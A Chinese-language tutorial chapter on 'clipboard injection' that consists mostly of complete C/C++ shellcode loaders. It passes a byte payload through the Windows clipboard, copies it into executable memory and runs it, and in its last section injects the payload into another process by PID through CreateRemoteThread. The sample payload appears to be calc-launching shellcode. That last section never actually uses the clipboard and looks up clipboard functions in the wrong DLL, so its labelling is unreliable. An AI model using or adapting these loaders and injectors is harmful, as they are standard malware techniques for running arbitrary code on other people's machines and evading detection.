13-剪贴板注入(Clipboard Injection)

一、前言

本节涉及 进程间通信(IPC),剪贴板是进程间通信的方法之一,其实注册表也可以作为进程间通信的桥梁。

如果可以通过进程间通信获得全局内存的句柄,就可以共享内存中的shellcode,一般全局内存是不可执行的,记得复制到具有可执行权限的内存或者说用 VirtualProtect/VirtualProtectEx ,当然这只是作为拓展思路,本文用的不是这个方法。进程间通信当然不局限于传输shellcode。

剪贴板:是一组功能和使应用程序来传输的数据消息。由于所有应用程序都可以访问剪贴板,因此可以轻松地在应用程序之间或应用程序内传输数据。

剪贴板的数据格式:文本、图片、程序

注册剪切板格式:我们可以注册一个新的剪切板格式来存放我们的数据

本节介绍的执行链与前面介绍的并没有什么区别,但是学习到了一个可以分配全程内存的API,GlobalAllocglobalAlloc 函数 (winbase.h) - Win32 apps | Microsoft Learn

二、代码实现

2.1 单进程

#include <windows.h>
#include <stdio.h>
#include <cstdlib> // 添加此行以包含 malloc 的定义

typedef struct {
    unsigned char* payload; // shellcode
    size_t length;         // shellcode 长度
    int key;               // 其他参数
} Payload;

// 假设 spawn 函数的声明
void spawn(unsigned char* buffer, size_t length, int key);

void ClipboardOperation(Payload* payload) {
    HGLOBAL hglb;
    LPVOID lptstr;
    SYSTEMTIME systemTime;

    // 打开剪贴板
    if (!OpenClipboard(NULL)) {
        fprintf(stderr, "Failed to open clipboard. Error: %d\n", GetLastError());
        return;
    }

    // 读取剪贴板内容
    hglb = GetClipboardData(CF_TEXT);
    if (hglb != NULL) {
        lptstr = GlobalLock(hglb);
        if (lptstr != NULL) {
            GetLocalTime(&systemTime);
            GlobalUnlock(hglb);
        }
    }

    // 清空剪贴板
    EmptyClipboard();

    // 分配内存并复制 shellcode 到剪贴板
    HGLOBAL hGlobalCopy = GlobalAlloc(GMEM_MOVEABLE, payload->length);
    if (hGlobalCopy == NULL) {
        fprintf(stderr, "GlobalAlloc failed. Error: %d\n", GetLastError());
        CloseClipboard();
        return;
    }

    LPVOID lpCopy = GlobalLock(hGlobalCopy);
    if (lpCopy != NULL) {
        memcpy(lpCopy, payload->payload, payload->length);
        GlobalUnlock(hGlobalCopy);
    }

    // 设置剪贴板数据
    if (SetClipboardData(CF_TEXT, hGlobalCopy) == NULL) {
        fprintf(stderr, "SetClipboardData failed. Error: %d\n", GetLastError());
        GlobalFree(hGlobalCopy);
        CloseClipboard();
        return;
    }

    // 读取剪贴板数据到 buffer
    HGLOBAL hGlobal = GetClipboardData(CF_TEXT);
    if (hGlobal != NULL) {
        lptstr = GlobalLock(hGlobal);
        if (lptstr != NULL) {
            unsigned char* buffer = (unsigned char*)malloc(payload->length);
            if (buffer) {
                memcpy(buffer, lptstr, payload->length);
                GlobalUnlock(hGlobal);

                // 调用 spawn 函数
                spawn(buffer, payload->length, payload->key);

                free(buffer); // 释放分配的内存
            }
            else {
                fprintf(stderr, "Failed to allocate memory for buffer.\n");
            }
        }
    }

    // 清空剪贴板并关闭
    EmptyClipboard();
    CloseClipboard();
}

void spawn(unsigned char* buffer, size_t length, int key) {
    // 创建一个可执行的内存区域
    DWORD oldProtect;
    LPVOID execMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (execMem == NULL) {
        fprintf(stderr, "Failed to allocate executable memory. Error: %d\n", GetLastError());
        return;
    }

    // 将 shellcode 复制到可执行内存区域
    memcpy(execMem, buffer, length);

    // 创建一个新的线程来执行 shellcode
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);

    if (hThread == NULL) {
        fprintf(stderr, "Failed to create thread. Error: %d\n", GetLastError());
        VirtualFree(execMem, 0, MEM_RELEASE);
        return;
    }

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    // 清理
    CloseHandle(hThread);
    VirtualFree(execMem, 0, MEM_RELEASE);
}

int main() {

    unsigned char shellcode[] = {
            0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
    0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
    0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
    0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
    0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
    0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
    0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
    0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
    0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
    0x5B, 0x5A, 0x59, 0x58, 0xC3
    };
    // 示例 payload 初始化
    Payload payload;
    payload.payload = (unsigned char*)shellcode; // 示例 shellcode
    payload.length = strlen((char*)payload.payload);
    payload.key = 123; // 示例 key

    ClipboardOperation(&payload);
    return 0;
}

2.2 多进程

写入shellcode

#include <windows.h>
#include <iostream>

unsigned char shellcode[] = {
       0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,
       0x5A, 0x59, 0x58, 0xC3
};

int main() {
    // 打开剪贴板
    if (!OpenClipboard(NULL)) {
        std::cerr << "Failed to open clipboard. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // 清空剪贴板
    EmptyClipboard();

    // 分配全局内存,sizeof(shellcode)+1是关键,因为第sizeof(shellcode)他还填充为00截断,tmd搞了一下午才明白
    HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, sizeof(shellcode)+1);
    if (hGlob == NULL) {
        std::cerr << "GlobalAlloc failed. Error: " << GetLastError() << std::endl;
        CloseClipboard();
        return 1;
    }

    // 锁定内存并复制 shellcode
    memcpy(GlobalLock(hGlob), shellcode, sizeof(shellcode));
    GlobalUnlock(hGlob);

    // 设置剪贴板数据
    if (SetClipboardData(CF_TEXT, hGlob) == NULL) {
        std::cerr << "SetClipboardData failed. Error: " << GetLastError() << std::endl;
        GlobalFree(hGlob);
        CloseClipboard();
        return 1;
    }
    // 关闭剪贴板
    CloseClipboard();
    std::cout << "Shellcode copied to clipboard." << std::endl;
    return 0;
}

读取并执行shellcode

#include <windows.h>
#include <iostream>
int main() {
    // 打开剪贴板
    if (!OpenClipboard(NULL)) {
        std::cerr << "OpenClipboard failed. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // 获取剪贴板数据
    HGLOBAL hGlobal = GetClipboardData(CF_TEXT);
    if (hGlobal == NULL) {
        std::cerr << "GetClipboardData failed. Error: " << GetLastError() << std::endl;
        CloseClipboard();
        return 1;
    }

    // 锁定内存并获取 shellcode 指针
    void* pGlobal = GlobalLock(hGlobal);
    if (pGlobal == NULL) {
        std::cerr << "GlobalLock failed. Error: " << GetLastError() << std::endl;
        CloseClipboard();
        return 1;
    }

    // 获取数据的大小
    SIZE_T dataSize = GlobalSize(hGlobal);
    if (dataSize == 0) {
        std::cerr << "GlobalSize failed. Error: " << GetLastError() << std::endl;
        GlobalUnlock(hGlobal); // 如果需要,解锁内存
        CloseClipboard();
        return 1;
    }
    // 分配可执行内存
    void* pExec = VirtualAlloc(NULL, dataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pExec == NULL) {
        std::cerr << "VirtualAlloc failed. Error: " << GetLastError() << std::endl;
        GlobalUnlock(hGlobal);
        CloseClipboard();
        return 1;
    }

    // 复制 shellcode 到可执行内存
    memcpy(pExec, pGlobal, dataSize);

    // 解锁剪贴板内存
    GlobalUnlock(hGlobal);
    CloseClipboard();

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExec, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    // 释放内存
    VirtualFree(pExec, 0, MEM_RELEASE);

    // 释放内存
    return 0;
}

2.3 一个进程完成shellcode注入到另一个进程

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>

// Shellcode
unsigned char shellcode[] = {
            0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
    0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
    0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
    0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
    0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
    0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
    0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
    0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
    0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
    0x5B, 0x5A, 0x59, 0x58, 0xC3
};

class ClipboardInjector {
private:
    const unsigned char* m_shellcode;
    size_t m_shellcodeSize;

public:
    ClipboardInjector(const unsigned char* shellcode, size_t size)
        : m_shellcode(shellcode), m_shellcodeSize(size) {}

    bool InjectViaClipboard(DWORD targetPid) {
        // 打开目标进程
        HANDLE hProcess = OpenProcess(
            PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
            FALSE,
            targetPid
        );

        if (!hProcess) {
            return false;
        }

        // 在目标进程中分配内存
        LPVOID remoteBuffer = VirtualAllocEx(
            hProcess,
            NULL,
            sizeof(shellcode),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
        );

        if (!remoteBuffer) {
            CloseHandle(hProcess);
            return false;
        }

        // 写入 shellcode 到目标进程
        SIZE_T bytesWritten;
        BOOL writeResult = WriteProcessMemory(
            hProcess,
            remoteBuffer,
            shellcode,
            sizeof(shellcode),
            &bytesWritten
        );

        if (!writeResult) {
            VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return false;
        }

        // 获取 kernel32.dll 中的函数地址
        HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
        FARPROC pOpenClipboard = GetProcAddress(hKernel32, "OpenClipboard");
        FARPROC pGetClipboardData = GetProcAddress(hKernel32, "GetClipboardData");
        FARPROC pCloseClipboard = GetProcAddress(hKernel32, "CloseClipboard");

        // 创建远程线程
        HANDLE hRemoteThread = CreateRemoteThread(
            hProcess,
            NULL,
            0,
            (LPTHREAD_START_ROUTINE)remoteBuffer,
            NULL,
            0,
            NULL
        );

        if (!hRemoteThread) {
            VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return false;
        }

        // 等待线程结束
        WaitForSingleObject(hRemoteThread, INFINITE);

        // 清理资源
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hRemoteThread);
        CloseHandle(hProcess);

        return true;
    }
};



int main() {

    // 用户输入被注入进程的PID
    DWORD PID;
    std::cout << "请输入被注入进程的PID:";
    std::cin >> PID;

    // 创建剪贴板注入器
    ClipboardInjector injector(shellcode, sizeof(shellcode)+1);

    // 执行注入
    if (injector.InjectViaClipboard(PID)) {
        std::wcout << L"注入成功!" << std::endl;
    }
    else {
        std::wcerr << L"注入失败!" << std::endl;
        return 1;
    }

    return 0;
}

Last updated